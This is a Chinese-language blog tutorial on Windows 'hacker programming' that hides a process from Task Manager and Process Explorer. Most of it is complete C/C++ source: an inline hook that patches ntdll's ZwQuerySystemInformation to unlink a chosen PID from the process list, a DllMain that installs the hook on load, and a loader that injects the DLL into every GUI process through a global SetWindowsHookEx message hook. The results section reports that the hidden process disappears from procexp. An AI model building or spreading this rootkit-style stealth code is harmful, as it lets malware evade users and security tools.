首页 > 系统相关 >Windows黑客编程之进程隐藏

Windows黑客编程之进程隐藏

时间:2023-02-25 19:12:38浏览次数:39  
标签:hDll typedef return Windows ZwQuerySystemInformation 编程 dll 黑客 NULL

描述

  • 通过hook ZwQuerySystemInformation函数,改变其返回值结果,在task manager、procexp等进程管理器内隐藏目标进程

知识点

  • dll注入:通过在prcexp等进程内注入dll,执行代码来修改ntdll中ZwQuerySystemInformation函数内容,实现inline hook
  • inline hook:修改ZwQuerySystemInformation函数入口代码,写入jmp New_ZwQuerySystemInformation指令,使其跳转至自定义的函数
  • unhook:记录下ZwQuerySystemInformation函数的入口代码,便于hook后恢复
  • New_ZwQuerySystemInformation函数:先Unhook,再调用原来的ZwQuerySystemInformation函数,对返回结果进行修改,将目标进程的信息块脱链,实现隐藏

代码

inline hook\unhook\New_ZwQuerySystemInformation函数的实现

#include "stdafx.h"
#include "HideProcess.h"


BYTE g_OldData32[5] = {0};
BYTE g_OldData64[12] = { 0 };


void HookApi()
{
	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return;
	}
	// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
	// jmp New_ZwQuerySystemInformation
	// 机器码位:e9 _dwOffset(跳转偏移)
	//		addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
	//		addr2 --> 跳转地址的值,即_dwNewAddress的值
	//		跳转偏移 _dwOffset = addr2 - addr1
	BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
	DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
	::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
	// 保存前 5 字节数据
	::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
	// mov rax,0x1122334455667788
	// jmp rax
	// 机器码是:
	//	48 b8 8877665544332211
	//	ff e0
	BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
	ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
	::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
	// 保存前 12 字节数据
	::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
	// 设置页面的保护属性为 可读、可写、可执行
	DWORD dwOldProtect = 0;
	::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
	// 修改
	::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
	// 还原页面保护属性
	::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

}


void UnhookApi()
{
	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return;
	}
	// 设置页面的保护属性为 可读、可写、可执行
	DWORD dwOldProtect = 0;
	::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	// 32 位下还原前 5 字节, 64 位下还原前 12 字节
#ifndef _WIN64
	// 还原
	::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
#else
	// 还原
	::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
#endif

	// 还原页面保护属性
	::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}


NTSTATUS New_ZwQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	)
{
	NTSTATUS status = 0;
	PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
	// 要隐藏的进程PID
	DWORD dwHideProcessId = 4104;

	// UNHOOK API
	UnhookApi();

	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return status;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return status;
	}

	// 调用原函数 ZwQuerySystemInformation
	status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
						SystemInformationLength, ReturnLength);
	if (NT_SUCCESS(status) && 5 == SystemInformationClass)
	{
		pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
		while (TRUE)
		{
			// 判断是否是要隐藏的进程PID
			if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
			{
				if (0 == pCur->NextEntryOffset)
				{
					pPrev->NextEntryOffset = 0;
				}
				else
				{
					pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
				}
			}
			else
			{
				pPrev = pCur;
			}

			if (0 == pCur->NextEntryOffset)
			{
				break;
			}
			pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
		}
	}

	// HOOK API
	HookApi();

	return status;
}

dll注入代码

  • 挂钩WH_GETMESSAGE消息,目的是进行全局注入,将dll注入procexp等进程
// HideProcess_ZwQuerySystemInformation_Test.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"


extern HMODULE g_hModule;

#pragma data_seg("mydata")
	HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")


// 消息全局钩子回调函数
LRESULT CALLBACK GetMsgProc(
	int code,       // hook code
	WPARAM wParam,  // removal option  
	LPARAM lParam   // message
	)
{
	// 不进行任何操作,设置全局钩子的目的就是进行DLL注入而已,主要是主入口进行的API挂钩

	return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}


// 设置全局钩子
HHOOK SetHook()
{
	// 设置全局钩子
	HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
	if (NULL == hHook)
	{
		return NULL;
	}
	g_hHook = hHook;
	return hHook;
}


// 卸载全局钩子
BOOL UnsetHook(HHOOK hHook)
{
	if (FALSE == ::UnhookWindowsHookEx(hHook))
	{
		return FALSE;
	}
	return TRUE;
}

dllMain代码

  • 加载dll时主动调用inline hook,篡改ntdll中的函数代码
  • 卸载dll时主动调用unook,恢复ntdll中原来的函数代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "HideProcess.h"


HMODULE g_hModule ;


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		HookApi();
		g_hModule = hModule;
		break;
	}
	case DLL_THREAD_ATTACH:
	{
		break;
	}
	case DLL_THREAD_DETACH:
	{
		break;
	}
	case DLL_PROCESS_DETACH:
	{
		UnhookApi();
		break;
	}
	default:
		break;
	}
	return TRUE;
}

测试程序代码

  • 用来安装全局钩子
// Test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>


int _tmain(int argc, _TCHAR* argv[])
{
	// 加载DLL并获取句柄
	HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");
	if (NULL == hDll)
	{
		printf("%s error[%d]\n", "LoadLibrary", ::GetLastError());
	}
	printf("Load Library OK.\n");

	// 设置全局钩子
	typedef HHOOK(*typedef_SetHook)();
	typedef_SetHook SetHook = (typedef_SetHook)::GetProcAddress(hDll, "SetHook");
	if (NULL == SetHook)
	{
		printf("GetProcAddress Error[%d]\n", ::GetLastError());
	}
	HHOOK hHook = SetHook();
	if (NULL == hHook)
	{
		printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError());
	}
	printf("Set Windows Hook OK.\n");
	system("pause");
	// 卸载全局钩子
	typedef BOOL(*typedef_UnsetHook)(HHOOK);
	typedef_UnsetHook UnsetHook = (typedef_UnsetHook)::GetProcAddress(hDll, "UnsetHook");
	if (NULL == UnsetHook)
	{
		printf("GetProcAddress Error[%d]\n", ::GetLastError());
	}
	if (FALSE == UnsetHook(hHook))
	{
		printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError());
	}
	printf("Unhook Windows Hook OK.\n");
	// 卸载DLL
	::FreeLibrary(hDll);

	system("pause");
	return 0;
}

结果

  • 运行ExeText程序,打开procexp,可以看到进程信息
  • 安装完钩子后,此时ExeText程序仍然正常运行,再看procexp,进程信息已消失

标签:hDll,typedef,return,Windows,ZwQuerySystemInformation,编程,dll,黑客,NULL
From: https://www.cnblogs.com/z5onk0/p/17155061.html

相关文章

  • windows本地apache服务器开启ssl
    SSl是爲Http傳輸提供安全的協議,經過證書認證來確保客戶端和網站服務器之間的數據是安全,能夠經過apache自帶的openssl進行配置:步驟以下:1.安裝有openssl模板的apache,大多......
  • windows10中安装 php的 pecl_http扩展
    在下面的网址中下载对应版本的三个dll文件  php_raphf.dll , php_propro.dll , php_http.dllhttp://windows.php.net/downloads/pecl/releases/在php.ini中增下......
  • Windows下Python仪器仪表编程环境搭建
    1工具列表Python3及其程序库pyvisaPython3下载IOSuiteLibraries下载2下载Python3安装需要勾选“AddPython3.10toPATH”,其他都可以默认安装。pyvisa安装......
  • Windows黑客编程之进程篡改
    描述向目标进程中注入shellcode并跳转运行,披着安全进程的外皮执行恶意代码代码调用写了一段弹窗的shellcode,需要用汇编写功能,再转化为机器码#include"stdafx.h"......
  • windows 安装 Elasticsearch
    一.官网下载安装包Elasticsearch高版本内置jdk,无需使用系统安装的java,本文以8.3.3版本为例,无需修改配置文件1.下载安装包https://www.elastic.co/cn/downloads/elastics......
  • Windows wsl2安装Docker
    wsl2的Ubuntu安装好后,就可以安装Docker了。由于众所周知的原因,国内访问国外的某些网站会访问不了或者访问极慢,Docker的安装网站就在其中。所以推荐使用阿里的镜像进行安......
  • Windows wsl2支持systemd
    背景很多Linux发行版都是使用systemd来管理程序进程,但是在WSL中默认是用init来管理进程的。为了符合长久的使用习惯,且省去不必要的学习成本,就在WSL的发行版(我这里安装的......
  • windows-win+快捷键用不了
    win10按win+e、win+r、win+d等win键无反应原因:win键盘被锁解决方式fn+win解锁win键即可(如果按过无反应,连按两次三次尝试即可)依旧无反应尝试fn+F2、fn+F6、fn+键盘......
  • 网络编程_浅尝木马...
    title:网络编程_demoauthor:杨晓东permalink:网络编程_demodate:2021-10-0211:27:04categories:-网络编程tags:-demo网络编程_木马__democlient.pyimpor......
  • Windows黑客编程之进程伪装
    描述通过NtQueryInformation函数获取进程信息,并修改peb参数,可以欺骗ProcMon等查看进程信息的工具,将其伪装成一个看起来无害的进程代码实现NtQueryInformationProces......